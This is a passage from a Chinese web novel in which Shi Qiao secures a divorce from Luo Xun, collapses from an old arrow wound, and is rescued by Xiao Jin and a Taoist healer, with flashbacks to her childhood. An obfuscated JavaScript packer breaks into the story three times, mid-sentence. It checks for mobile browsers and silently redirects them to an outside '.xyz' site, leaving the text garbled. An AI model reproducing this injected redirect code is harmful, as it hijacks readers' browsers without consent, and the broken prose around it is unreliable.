她依然未施脂粉，只将长发松松绾作堕马髻，发间一根麦穗玉簪莹润生光，衬得脖颈愈发苍白伶仃。 罗珣推门而入时，正见她垂眸滤去茶沫。阳光透过窗牗落在她侧脸，恍惚间竟与她灯下苦读农书的模样重叠。那时她总爱在案头插一束麦穗，说是“见穗如见粮，心安”。 “坐。”时乔未抬眼，推过一盏茶，“这才是大人该喝的茶。” 罗珣撩袍落座，“你当真要如此？” “大人错了。”时乔抬眸，语气淡淡，“是你逼我如此。” 罗珣：“你在威胁我？” “不，是交易。” 时乔按着桌上的账册匣子，“你写和离书，补齐嫁妆，自是皆大欢喜。你若不写……” 她望向对面的酒楼，“靖国公此时恰好在对面喝酒，想呈给他账册，倒是便宜得很。” 罗珣方才在楼下便注意到，有靖国公和雍王的侍卫在酒楼门前候着，只是没想到，这竟也在时乔的算计之内。 她是半分没给他犹豫的机会。 罗珣看向对面。 因着酒楼面东，此时正在阴面，并不能看清对面情形。可他知道，他此时说不定便在对方的视线之内。 “你该知道，我从未想过要贪墨你的嫁妆。” 这点时乔是信的。 他确实说过会还她的话，只是那时她并不在意，他们夫妻一体，府里的银子和她的银子，又有什么区别？ 且她花那些银子，不仅仅是为罗珣，更多的是为报恩，也是为报仇。她从来没想过要将这些银子讨要回来。 只是此一时彼一时，如今他既领了功劳，这笔账算在他头上也是应该的。 时乔眉眼淡漠地看着他，只问，“大人同意和离吗？” 罗珣沉默良久。 时乔对他无情，他不敢赌，不敢拿如蔷的性命赌。 或许和离，对所有人都是成全和解脱。 “这些银子我会尽快补齐，至于那些送给百姓的麦种，我会按市价……” “粮食不必你来还。”时乔打断他，“那些麦子，即便不嫁你，我也是要送给朔北军的。” 此言无异于在罗珣心口又插了一刀。 她为那人呕心沥血，为那人守身如玉，他不知道自己到底在执着什么。 他不再迟疑，提笔蘸墨，笔走游龙，一挥而就写下和离书。 夫天地之大德曰生，而夫妇之道，乃人伦之始也。吾与汝，本于前世三生石上无缘，今生强结发为妻。然世间万物，皆有定数，非人力所能强求。汝既生退意，吾愿放手成全。从此一别两宽，各自安好。 署名，盖印。 满纸锦绣，满纸薄凉。 时乔伸手拿和离书，罗珣按住她的手，“时乔，和离后的日子不好过，你当真想好了？” 时乔瞧着罗珣的手，“这就不劳罗大人操心了。” 罗珣最终缓缓松开。 他看着她孱弱的身子，到底是不放心，“总住客栈也不是办法，我会另给你一处宅子，落到你名下。”他顿了顿，“你有什么难处，随时来寻我。” 时乔定定看着他，忽而一笑：“罗大人是在内疚吗？你实不必如此，你我互利互惠，谁也不欠谁的。” 她将和离书按到桌上，指尖压着“一别两宽”四字，“你我既已和离，便该清爽些，莫要拖泥带水纠缠不清。属于我的，一分也不能少，不属于我的，我一分也不要。” 时乔将和离书仔细折好收入袖中，又从发间拔下玉簪，另拿一根竹筷簪发，玉簪则放到他面前桌上。 “这个，还给大人。” 玉簪是由黄玉雕刻而成，簪头的麦穗金灿灿的，丰硕饱满，是去年她培育的新麦种大丰收，他亲手为她雕刻——这也是三年来，他唯一送给她的东西。虽廉价，她却视若珍宝，每日都戴着。 她笑言：“旁人就算给我一座金山，我也是不换的。” 她说这句话时，眼中璀璨，映着星河，也映着他的影子。 如今再看，她眼底再无光彩，亦无他。 原来当初的一切，不过是他的一场幻觉。 他望着时乔离开的背影，哑声问：“那人可是姓程？” 她脚步顿了顿，没有回答她，推门出了雅间。 日薄西山时，时乔走出了茶楼。 她步履缓慢，孑孑而行，落日余晖落在她枯寂的脸上，为她镀上一层昏黄的光晕，明明是繁花似锦的好年纪，却似已近暮年。 再看楼上的罗珣，身姿清隽，锦绣衣袂迎风飘扬，正是最好的年华。 对面酒楼二楼雅间，萧烬临窗而坐，手里紧握着酒杯，目光沉沉。 原来早在罗珣娶平妻那日，她的心便死了。 确切说，早在三年前，就注定了今日的结局。 他终究，又一次眼睁睁看着她被烧成灰烬。 “靖国公，本王再敬你一杯，为天下百姓。” 雍王举起酒杯，却见对面的靖国公心不在焉看着窗外，眉宇间没了凌厉之色，闻言收回目光，却也不跟他碰杯，只仰头将手中的酒一饮而尽。 雍王转头望向窗外。 茶楼门前，一个素衣女子正扶着侍女的手上马车。 那女子实在孱弱，简简单单一个动作，似乎耗尽了她全身的力气，虚弱伏倒在坐榻上。 侍女紧随其后上了马车，落下帘子，挡住了外界的视线。 雍王：“那是……？” 萧烬：“殿下前几日还见过她，不认得了？” 雍王：“罗侍郎的夫人？” 那日在喜堂上可不是头一回见她，罗侍郎押送粮草去军营时，她曾女扮男装跟着去过两回。只不过她沉默寡言，默默守在夫君身后，并未引起他过多的关注，只当她是一个贤内助。 直到罗珣在说出当年换亲真相时，他方知时乔到底是谁。 他至今记得，挚友成亲前的欣喜，“她是个顶好的姑娘，你不知我为了娶她，费了多少功夫。” 只是挚友成亲后，却没了先前的意气风发，变得沉默寡言。 原来时乔，才是那个让挚友欣喜的好姑娘。 萧烬抓起酒坛倒酒，“现在，她恐怕不是罗夫人了。” 雍王神色一震，“什么？你如何得知？” 话刚问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519635|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口，他便反应过来，靖国公虽刚进京不久，却眼线遍布京城，有什么事能瞒得过他的眼。 他转头看向对面茶楼，罗珣正临窗而立，神色怅然，望着马车离开的方向。 他们伉俪今日，竟是商谈和离的。 他长长喟叹一声，两人各自心有所属，和离了也好。 武人耳力好，那日时乔离开喜堂时，与罗珣低语的那番话他是听见了的。时乔到现在还对挚友念念不忘，或许和离，对她来说是解脱。 他如今既知晓了真相，便替挚友护她周全就是。 只是该寻个什么合适的由头，他还没想好。 雍王心里正盘算着，便听萧烬道：“殿下慢用，告辞。” 言罢下楼上马，驱马离去。 雍王皱眉，“是他下帖请本王来喝酒，这才喝了两口，菜都还没上齐，他就扔下本王自个儿走了？” 他又一次感受靖国公的狂妄自大。 按说两人曾共同御敌，本该有非旁人可比的同袍情谊，可靖国公自始至终都对他冷淡得很，人前人后都不曾将他放在眼里。 确切说，他们这几个皇子，靖国公都不曾放在眼里。这几日的大清洗中，他们的亲眷臣僚凡有涉及，靖国公皆不留半分情面，一概收监刑讯。 许是因着这个，父皇才如此重用他吧。父皇的怒气和疑心，一向是由鲜血来平息。 旁人皆将靖国公视作雍王一派，可谁又懂他在靖国公面前的卑微呢？ 进来上菜的酒楼掌柜，闻言战战兢兢道：“靖国公临走前，让小的找殿下您结账……” 雍王：“……！” 他沉着脸，拿起酒盅，仰头猛地一饮而尽！ 吓得掌柜的“噗通”一声跪下。 侍卫余锋挥手让掌柜的退下。 感受到主子强烈的挫败感，他出言为主子挽尊，“靖国公一向独来独往，他肯请殿下喝酒，可见待殿下与旁人不同。” 雍王皱眉瞥了他一眼，你还不如不安慰。 我堂堂皇子，他区区国公，他请我喝酒是件很值得骄傲的事吗？酒钱还是我来出！ 不过…… 靖国公确实待他与旁人不同。 听说他那皇兄瑞王多次下帖宴请靖国公，都被拒了。 且，靖国公让他出酒钱，分明是与他不见外的表现。 如此想着，那种被轻视的不悦和挫败消失殆尽。 雍王心情大好地连喝了两盅酒，以目光敬那萧萧远去的墨色身影。 众人皆言靖国公暴戾，此番进京野心勃勃，可他凭一个武人的直觉，靖国公不是那种人。 在靖国公心中，家国大义重于泰山，权势富贵恐怕入不了他的眼。 雍王慨叹一声，英雄惜英雄，便是这种感觉吧？ 感慨之余，他又疑惑道：“你说，他请本王的目的是什么？” 余锋挠头，“这……卑职就不知道了。” 对面的茶楼，罗珣仍站在窗前，掌心死死攥着那支玉簪。 玉河小心翼翼问：“大人，回府吗？” 罗珣未应，目光追着马车消失在街角。又看到几匹骏马，追着残阳而去。 不知为何，心底一角，似缺了什么。 13. 第 13 章 日薄西山，已没了暖意。 马车辚辚驶过长街，碾碎一地残雪。 时乔拥着被子坐在马车里，手里捧着暖手炉，却依然驱散不了通身彻骨的冰寒。 她嫁给罗珣时，还以为会和他就此安稳一生。罗珣虽待她冷淡疏离，可她只当他生性清冷，倒也不觉难过。 可当发现罗珣对夏如蔷的炽热情意时，方知他的心不是冷的，只不过是把全部的热烈都给了夏如蔷。方知她也会难过，方知她在不知不觉中，付出了真情。 是从什么时候开始的呢？ 许是他谦谦君子，成亲三年也不曾强迫她圆房，让她在感激和愧疚中，对他渐生好感。 许是他有一颗救世济民之心，即便被瑞王打压却矢志不渝，让她在钦佩中，不知不觉情愫暗生。 又许是庆原府大丰收那日，他拥她入怀却沉默不语，压抑而克制。他什么都没说，她却沦陷在他的一身孤寂和脉脉温情里。 真傻啊。 他的君子之风，不过是在为心上人守节；他的沉默和克制，恐怕是在向心上人忏悔吧，毕竟那夜，他曾想在她房中留宿。而他要留宿，恐怕也不是对她动心，而是单纯的动情吧。 她闭上眼，不愿再去回忆。 素心看着姑娘眼底青黑，双目闭紧却难掩哀伤，不由鼻头泛酸。 她帮时乔裹紧身上的斗篷，“姑娘想吃什么，我们顺便买些回去。” 时乔摇了摇头。 忽而，她闻到了一缕熟悉的酒香，掀开棉帘，街对面正是一个酒垆，门口悬着酒旗，上书“忘忧君”。 她眸光微动，“素心，买坛酒。” 素心犹豫了一下，想着即便买了，温大娘也能阻了姑娘，不让她喝，便应下，“好，奴婢下去买。” 车停下，素心进了酒垆。 车帘半掩，里面的时乔拥衣而坐，眉心轻锁，望着酒垆门前的酒旗出神。 也就没留意，骏马与她擦身而过时，马上之人投向她的目光。 深沉如海。 回到客栈，温大娘已经做好饭菜。 她嫌外面买着吃太贵，就借用客栈的厨房自己做饭，额外给他们几个大钱就是。 “冬笋炒肉片，波棱菜炒鸡蛋，熘肝尖儿，还有红枣桂圆小米粥，都是姑娘爱吃的，还补血呢。” 温大娘总能花最少的钱，做出丰盛的饭菜来，努力维持母亲生前最看重的官宦千金的体面。 时乔让她们三人入座，笑道：“我已拿到和离书，是该好好贺一贺。” 温大娘一怔。 “姑爷同意和离了？” 时乔拿出和离书，递给温大娘，“同意了。” 温大娘不识字，却打开和离书反复看了又看。 她双手颤抖，摩挲着和离书潸然泪下，喃喃道：“终还是和离了……老奴该如何向夫人交代……” 温大娘原先是个末等的烧火婆子，木讷寡言，无儿无女，跟了母亲大半辈子，这些年唯一的信念就是帮母亲将她养大成人，嫁个如意郎君，让母亲九泉之下安息。 只可惜，她的愿望终是落空了。 时乔按上她的手，“这是我的新生，大家该高兴。待在罗府，只会埋葬我后半辈子。” 她语气平静，坚定，抚平了大家心头的怨愤和彷徨不安。 其实她们也明白，姑娘若是留在罗府，说不得是和夫人一样的结局。只是离开罗府，姑娘便是平民，又是弃妇，以后的路怕是不好走。 但见姑娘笃定的样子，又觉得似乎也没什么好畏惧的，不管多难，她们陪着姑娘走下去便是。 桌上气氛好了许多，大家说着吉祥话儿，庆祝时乔的新生。 用膳后，时乔没让人留下伺候。 素心买的那坛忘忧君，还在墙角放着，席间温大娘没让打开。其实她本也不是买来喝的，她只是觉得这香气过于熟悉。 她搬过来打开，浓郁醇厚的酒香扑面而来。 透过酒香，她似乎看到了玉屏山下的青纱帐，还有一望无际的麦浪。 她眯了眯眼，倒了一杯端起来靠近鼻息，细嗅之后，眼中的疑惑更深了。 她习惯性地举杯要喝时，突然想起高太医的叮嘱，切莫饮酒。其实她这破败身子，喝一杯又何妨？ 酒杯在唇边辗转许久，最终不曾入口。 否则，母亲在天之灵恐怕又要念叨她了。 她暂且抛却心头的疑惑，举起酒杯，敬窗外的明月，对她不离不弃。 她这短暂的一生，亲缘浅薄，父亲，母亲，恩人，夫君，一个个弃她而去，最终陪伴她终老的，恐怕只有这轮明月吧。 只是，明月似乎不胜酒力。 她眯眼望着窗外。 檐角悬着的那轮明月，月影虚浮，摇摇晃晃，透过泼墨似的红光，变得扭曲，模糊。 “姑娘，姑娘……” 她听见有人在喊她，从很远的地方飘来。 她听出来是素心的声音，她努力翕动嘴唇，却发不出声音。 她想睁开眼，可眼皮似有千钧重，挣扎了几次，最终重重合上。 她好累，好累。 让她好好睡一觉吧。 黑暗中，她似乎回到了玉屏山下，回到了小时候。 青山依依，麦浪重重，蜿蜒流淌的河水，白墙灰瓦的庄子，门口一棵大树如华盖般撑开浓荫，如同一幅画卷，在明媚的阳光下缓缓铺展开。 小女孩抹着泪儿从大树下跑进庄子，惊到了树上的鸟雀，扑棱着翅膀直冲云霄。 女孩儿灰头土脸的，头顶的丱发歪歪扭扭，依偎在母亲怀里，哭得上气不接下气。 “他们都欺负我，还骂我是没有爹的野种……” 母亲温柔地帮她擦拭眼泪，“你有父亲，你父亲是京兆府少尹，你是夏府千金大小姐。等乔儿长大了，他就来接你回京。” 六岁的她沉浸在被骂“野种”的痛苦中，实在没有等待长大的耐心，“能不能让父亲现在就来，谁敢欺负我，就把谁抓起来！” 母亲无奈轻笑。 “乔儿，你可知你为何叫这个名字？” 小女孩哭着摇头。 母亲解开丱发上的红头绳，梳理着那细细软软的黄发，缓慢而温柔。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519636|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “乔木生而坚韧，在水土丰沃的黑土地上长得，在贫瘠的戈壁滩也长得，不依附任何人，靠自己一点一点长成参天大树。” 母亲语气温柔，却坚定：“没有父亲庇护，那你就靠自己，活成想要的样子。” 小女孩懵懂点头，抽噎着道：“女儿记下了……可是，我还是想哭……” 母亲失笑，搂紧她，“想哭就哭吧！” 初夏时节，忍冬花开得正好，香气溢满了整个院子。 母亲将新采下晒干的金银花，仔细地缝进了新枕子里。豆绿色软缎上绣着缠枝忍冬纹，嫩绿的叶儿衬着或金或白的花儿，还有几颗未开的苞，清雅极了。 “这是给你的十二岁生辰礼。药枕芳香辟秽，希望我的囡囡无病无灾，平平安安。” 女孩儿穿着崭新的缠枝忍冬纹比甲，月白撒花洋绉裙，稚嫩的脸庞白里透着粉，俏生生站在那里，就似初春枝头沾着露珠的花骨朵儿。 她将脸儿埋进药枕里深深吸了一口气，“可真好闻！又香又软！” 母亲笑嗔她一眼，“果真是长大了，以往还总嫌弃年年的生辰礼都是一样的。” 女孩儿从药枕中扬起脸，“哪里嫌弃了，女儿喜欢着呢！”她语气一顿，笑眯眯道：“当然，母亲以后若能多些新意，那就更好了。” 母亲抚着女儿的脸庞，“那些新意，哪有囡囡平安来得重要。” 见女儿心不在焉，她无奈一笑，“今晚生辰宴，你想吃什么？” 女孩儿顿时雀跃起来，“我和素心去山上挖些野菜，母亲包野菜包子可好？噢，再包些羊肉馅儿的！还有我酿的果酒，各样开一坛，咱们一醉方休如何？” 母亲无奈笑：“你是千金小姐，怎就爱些野菜粗食？以后去了京城，也不怕被人笑话。还有那些果酒，每晚不落地喝，都快被你喝光了吧？” 女孩儿心虚地笑，“母亲发现了啊！” 母亲嗔道：“每晚睡觉时小脸都红扑扑的，散着酒气，我如何不知？你已是十二岁的大姑娘，要注意仪态，莫要贪酒，也莫再去山上疯……” “知道了！” 女孩儿将药枕塞回母亲怀里，提着裙子跑出房门，欢快的笑声消散在香甜的夏风中。 夜幕降临，母亲备了满满一桌她爱吃的精致菜肴，热气腾腾的包子也出锅了，她尚未来得及吃，画卷转瞬间变了模样，成了血腥的黑色炼狱。 一群匪贼闯进了庄子，庄子上的下人被屠戮殆尽，血流成河。母亲拼死相护，最终惨烈地死在她面前。 临死前，母亲死死盯着她：“无论发生了什么，你都要好好活下去……记住了，你是乔木……” 在匪贼的淫*笑和撕扯中，她哭着嘶喊：“女儿记下了，我是乔木……母亲！母亲……” “姑娘，姑娘！” 素心跪在榻前，双手捧在姑娘嘴边，接住大口大口涌出来的鲜血。 呼喊声惊动了温大娘和小荷，她们冲进房中，看到房中景象，顿时脸色煞白。 时乔半躺在矮塌上，双目紧闭，口中血如泉涌，衣襟前一片血红，窗扇上喷满了血，触目惊心。 14. 第 14 章 素心最先反应过来，“快叫大夫！” 小荷爬起身冲出房门，“何大哥！何大哥！” 何七顷刻而至。 小荷哭着喊：“姑娘不行了，一直吐血！你快去找雍王，请高太医来救救姑娘吧！” 一向面无表情的何七脸色骤然大变，从怀中取出一个瓷瓶塞给小荷，“里面有一粒药，喂给主子，能保命！” 还不待小荷反应过来，他留下一句“我马上回来！” 一个纵跃下了楼，在众人惊愕的目光中冲出了客栈。 小荷怔怔看着何七离开的方向，那句“能保命”在她脑海中盘旋。 她猛地反应过来，转身往屋里跑，“姑娘有救了，姑娘有救了！” 何七是银面将军留给姑娘的，他说药丸能保命，就一定能保命。 喂上药丸后，三人齐齐盯着姑娘，只见那喷涌的血渐渐止住了，只是人却不见苏醒，躺在那里一动不动。 三人的脸却更白了，唯恐…… 素心颤抖着手贴上时乔颈侧，感受到微弱的脉搏，眼泪骤然砸落，“有脉息……” 姑娘还活着！ 大家长舒了一口气，眼泪却流得更凶了。 姑娘以前虽吐血，却从未这般厉害过。 原以为高太医医术高明，姑娘定会安然无恙的。此时再回想，高太医每每给姑娘诊脉时，总是眉头紧锁。 她们还当太医都这般严肃，原来他竟是无能为力了吗？ 客房里的动静惊动了客栈掌柜。 他在门外听了一会儿动静，便砰砰砰敲门。 小荷擦了擦眼泪，去开门，掌柜的进门往时乔的方向一看，立马变了脸色。 “赶紧搬走，赶紧搬走！她若是死这里，我还怎么做生意！” 小荷一脑袋将他顶出了房门，“呸呸呸！你才死呢！我们姑娘好好的！” 掌柜的连连趔趄。 他掏出来一块银子塞到小荷手里，“你们的房钱我不要了，你们还是另寻地方住吧！” 他手一挥，就有几个伙计围了上来，作势要进屋赶人。 小荷和温大娘死死顶着门，可寡不敌众，房门被撞开了。 小荷摔倒在地，绝望地大哭起来。 她们若是被赶出去，谁还敢收留他们？姑娘的身子哪里经得起此等折腾！ 可那些伙计们并没有冲进来，而是从外面传来哀嚎声和求饶声。 小荷还没反应过来是怎么回事，便见一道黑影裹挟着寒气出现在房门前。 靖国公将肩上扛着的道士放下。 道士踉跄着站稳脚跟，扶了扶歪斜的发髻，不满抱怨：“我是人，不是捆稻草！好容易吃上一回的糟鹅都给颠吐了！” 靖国公一声厉呵，“救人！” 道士摸了摸鼻子，不满嘟囔：“你这哪里是求人的样子……” 嘴里说着，脚下却不敢再耽搁，走进了房门。 小荷从地上爬了起来。 关门时，她望了靖国公一眼，他站在门外的不远处，一双骇人的眼眸盯着房门。他来做什么，何七不是去寻雍王请高太医吗？这道士，靠谱吗？ 回到榻前，小荷不放心地打量着道士，模样清俊，神态散漫，半分没有道士的仙风道骨，倒像个溜鸡斗狗的公子哥儿…… 却说道士在看清房内情形后，目光一震。 榻上的女子衣襟染血，面庞煞白，了无生机地躺在那里。即便她身上已经被清理过，依然可见之前的惨烈。 房间内临时设了香案，上面摆着菩萨像，燃着檀香，一个丫鬟跪在地上不停磕头。可依然难掩浓重的血腥气，还有酒气。 道士收起了方才的漫不经心，坐到榻前抬手搭脉。 甫一搭上脉，他眼中闪过意外，问素心：“她方才吃过什么药？” 素心已停了磕头，忙道：“是何大哥给的药丸，是什么药我也不清楚。” 道士眼中闪过一丝意外，抬眼打量了时乔片刻，方继续说话：“她受了重伤？” 素心：“是箭伤，在腹部。” 道士没再言语。 他取出金针，三枚直刺时乔心脉，又连扎数针，皆是险之又险的穴位。此套针法，不到生死一线的时候，不会用。 两刻钟过去，时乔唇边涌出许多黑血，脸上渐渐有了些许血色，人却依然不见苏醒。 道士取针。 小荷此时对道士已经有几分信服，“道长，姑娘怎还不见醒？” 道士收起针，冷哼一声：“箭伤已累及心脉，又耽搁了这么久，哪里是那么容易醒的？” 两个丫鬟脸色惨白，齐齐跪下磕头，“求道长救救姑娘！” 道士：“磕什么头啊，就凭她吃的那药丸，哪里是那么容易死的。” 两个丫鬟转悲为喜，又连连磕头，“谢道长，谢道长！” 道士无奈叹了口气，“你们家主事的呢？” 素心站起身，回道：“我家主子就姑娘一人。道长有什么吩咐，只管与奴婢说。” 道士又瞧了瞧榻上的女子，梳着妇人发髻，分明已出阁。他夫君呢，死了？ 可他也不好多问，只道：“出去说。” 既是萧烬请他来的，家中又无人做主，他还是去寻正主为妙。 素心应是，刚起身要出去，就见床上姑娘的手动了动。 她面露喜色，转身扑到榻边，“姑娘你醒了！” 时乔双目依然紧紧闭着，眉头紧锁，似在承受极大的痛苦，声音微弱、破碎：“我……是……乔木……” 已走到门口的道士脚步一顿，有些惊讶地回看了一眼。 此等疼痛，无异于剔骨剜心，她竟能忍得住不喊疼？ 素心忙将一个豆绿色长枕塞到时乔怀里，轻声安慰，“姑娘别怕，已经没事了，没事了……” 时乔双臂收紧，紧紧抱住怀里的枕头。 道士出了房门，才发现这么一会儿工夫，整个客栈已经清空。 见萧烬还站在原处，走上去问：“你一直在这里守着？” 萧烬没有回答他，只是问：“她如何了？” 道士：“心脉受损，五脏六腑血气壅阏，若非有药丸吊命，恐怕此时人已没了……” 萧烬握马鞭的手骤然收紧。 那日城墙上的她衣裙染血，他以为她还能站在那里，伤势便不是很重。直到她进京，他方知她伤得厉害，却也没想到，竟已到病入膏肓的地步。 他的声音压抑在喉头，“能救吗？” 道士看了他片刻，露出一丝意味不明的笑意来。 “自然能救。”他拉着他往楼梯口那边走了走，“更何况，你给她吃了三垣续命丹？” 道士等了许久，也没得对方只言片语的解释，不由蹙眉道：“你该知道，这药丸是师父给你保命用的，你若再有万一……” 萧烬沉声道：“我不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519637|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有事，她也不会。” 他站在廊柱的阴影里，道士看不清他的眉眼，却从他冰冷的声音中，听出了些别样的情愫。 道士愣了愣，好奇问：“她是什么人？你着急忙慌地寻我回京，就是为了救她？” 萧烬默然。 道士笑眯眯道：“你不说也无妨，横竖我能打探出来。” 萧烬：“她是时乔。” 道士惊讶：“她就是时乔？看着也没传说中那么好看啊……” 话音刚落，便觉头皮发麻。 道士戒备地后退一步，觑着萧烬脸色道：“方才在酒楼吃饭时我听说，罗珣娶了你媳……夏二姑娘为平妻？” 萧烬：“是。” “我还听说，时乔想和离？” “已经和离了。” 道士恍然，“难怪她身上那么重的酒气，得亏她没喝，真是不要命了……啧啧，造化弄人啊！” 靖国公眸色又暗沉了几分。 那酒，她竟是买给自己喝的。 她终究还是如当年那般，一度失去了活下去的勇气。 道士看在眼里，同情地叹了口气。 他们的前尘种种他只知道个大概，但他比任何人都清楚时乔在萧烬心中的分量。 只可惜，落花有意流水无情，短短三年，心上人便对罗珣情根深种，即便和离了也念念不忘。 可怜呐！ 听萧烬哑声问时乔何时能醒，道士停止感慨，道：“放心，每日施针用药，三五日就醒了！” 他顿了顿，疑惑道：“我方才施针破除她五脏六腑内的壅阏，此等疼痛钻心蚀骨，铁打的汉子都挨不住——噢，你除外。可她竟不喊疼，却说了句我是乔木？” 萧烬皱眉，“那你就想法子，让她别那么疼。” 道长冷哼，“哪里有这么两全其美的事？她若不知道疼，人就彻底睡过去了！” 萧烬也知他说的有理，终是没再说什么。 窗外夜色阑珊，像极了那夜，月色清浅，暗夜沉沉。 “女儿记下了，我是乔木……” 那是他冲进院子救人时，听到的撕心裂肺的一句话。 杜鹃啼血，声声悲鸣。 那时她已是衣不蔽体，绝望地嘶吼着，挥舞着发簪刺向撕扯她的西凉兵。 他杀光匪贼后，发现她蜷缩在床角，怀里紧紧抱着一个绣花枕头，犹如惊弓之鸟，攥着尖尖的发簪对准他。 他虽救下了她，但不确定，她能否有勇气活下去。 他没想到，在他们收拾完残局打算离开时，却见她穿戴整齐，抱着一匣子银两从屋中走了出来。 她冲着他跪地磕头，“民女谢将军救命之恩。” 在得知将士们几日不曾吃饭时，她拿出了米面，领着士兵们蒸米蒸饭。 见他没有吃，她端着一盘包子走到他面前。 “将军以后若是缺粮，便来庄子上找我。” 她的声音稚嫩，却郑重，坚定，“我来为将军筹粮。” 月华如水，倾泻进小姑娘的眼中，那双眸子黑亮，坚定。 她看起来年纪尚小，十一二岁的稚嫩年纪。她明明刚刚经历丧母之痛和凌辱，明明前一刻还蜷缩在角落里，充满惊惧和绝望，可下一刻，她却脊背笔直、一身坦荡地站到了人前。 就如同那乔木，在经历风雨肆虐后，哪怕枝叶尽毁，哪怕被拦腰折断，它也会重新生出枝芽，努力向上生长。 15. 第 15 章 小女孩顽强的生命力，让萧烬深受震动。 那年他十六岁，战场上所向披靡，战无不胜，正是心高气傲过刚易折的年纪。那一战虽胜，却因粮草不继让他痛失上千同袍，他的心、他的信念在那一刻垮塌。皇上猜忌，奸佞当道，上下沆瀣一气，整个大周已烂了根基，他们满腔热血，却为这样的国家赔上性命，当真值得吗？ 可在她说出那句“我来为将军筹粮”时，所有的愤懑，所有的沮丧，在那一刻烟消云散，他那崩塌的信念瞬间重铸，坚如磐石。 数月后，朔北军又一次陷入粮草荒。他想起了小女孩的承诺，便去她的庄子上碰碰运气。他本没指望一个小女孩能筹到多少粮食，他当时应下她，也不过是让她有个念想，能好好活下去。可当看到粮仓里两万石的蜀黍和麦子时，他惊得说不出话来。 那些粮食，帮十万大军支撑了足足半个月，等到了户部姗姗来迟的粮船。 后来才知道，她家有数座酒坊，那年酿酒用的粮食，悉数作了军粮。 第二年，第三年，第四年，第五年，粮食越来越多，且大多是细粮。他不知道那个小小的身躯，到底蕴藏着多么大的力量，有着多强大的信念，方能支撑着她如此义无反顾、如此坚定地去做这件事。 她确实是乔木，坚韧，顽强，独自承担风雨，努力向上生长。 又或者说，她无人可依，别无选择。 到了楼下大堂，道士找掌柜的要笔墨写药方。 掌柜的战战兢兢，捧来笔墨纸砚，又给上了一盆羊肉包子，一盆羊肉，几道小菜。 掌柜的弓着腰，对着靖国公颤声请罪：“国公爷饶命，小的有眼不识泰山，不知夫人是您的家眷……” 话未说完，就听一旁满嘴流油的道士嗤笑了一声。 掌柜的意识到自己似是说错了话，顿觉头皮发麻，唯恐靖国公一怒之下血溅当场。 他小心翼翼抬头，却见靖国公虽还是冷沉着脸，却比方才缓和了不少，没那般阴森可怖了。 掌柜的一时猜不准这位夫人的身份了，但总之，那是他万万得罪不起的人。 他小心翼翼道：“夫人的房间怕是住不得了，小的这就将上房换上新被褥，让夫人搬过去。” 有血腥气是其次，那房间实在逼仄，若是再多个人守夜，怕是气都喘不上来，着实不适合养病。 萧烬拿出来一张银票给他，“客栈歇业七日。今夜之事，莫要传出去。” 掌柜的在看清银票数额后大喜过望，迭声应是，小跑着吩咐去了。 道士好整以暇地看着他，“那些多出来的银子，算是赏他嘴甜吗？” 掌柜的敲开客房的门，脸上堆着谄媚的笑，与小荷说明来意，哪怕被小荷挖苦，他依然点头哈腰地赔着笑。 小荷往楼下靖国公的方向看过去，歪着头打量了他一会儿，关上了房门，开始收拾东西。 三楼的上房也收拾出来了，何七下来向萧烬行礼道谢，又问：“靖国公可否派两个人，帮着抬主子换房间？” 萧烬还未开口，他身后的李四就上前一步，“卑职和张三去吧。” 他说着话，还伸手扯了扯身后张三的衣角，“有点眼力劲啊。” 张三却站在原处纹丝不动，只等着主子吩咐。 道士笑睨了萧烬一眼，对着李四直摇头，“你啊，你啊……” 李四叉着腰瞪他，“臭道士，摇什么头！” 那是主子的心上人呐，他们这些做心腹的，不应该主动点吗？难不成让主子亲自去抬？ 心里正暗骂着，却听主子道：“玉清随本公上去。” 萧烬淡瞥了他一眼，起身上楼。 玉清道长拍了拍他的肩膀，大笑着跟了上去。 留李四在原地凌乱。 房门半开着，萧烬在门前驻足片刻，方缓步而入。 窗纸上的血触目惊心，虽历经多时，却依然尚未完全干涸，浓重的血腥气萦绕不散。 榻上的时乔面色煞白，额发已被汗水浸湿，身子痛苦地蜷缩成一团，显然正在遭受道士所说的钻心蚀骨之痛。她紧着咬牙关，一声不发。 目光落到她怀中的长枕上，豆绿的颜色已然泛白，缠枝忍冬纹的花叶几乎褪尽了颜色，他还是认出，那是七年前那夜她怀里抱着的那个。 这么多年过去了，这枕头仍像是她最后一根救命稻草，给她一丝微弱的安全感。 虽早已从玉清口中得知时乔情形，可亲眼见到时，他的胸口仍是似被重重捶了一下，钝痛。 他紧抿着唇，在榻前缓缓蹲下，双手稳稳托住床榻，和玉清道长一前一后慢慢抬起，何七在侧面相护，小心翼翼出了房门。 素心三人跟在后面，神色怔怔。 靖国公亲自来抬她们姑娘？ 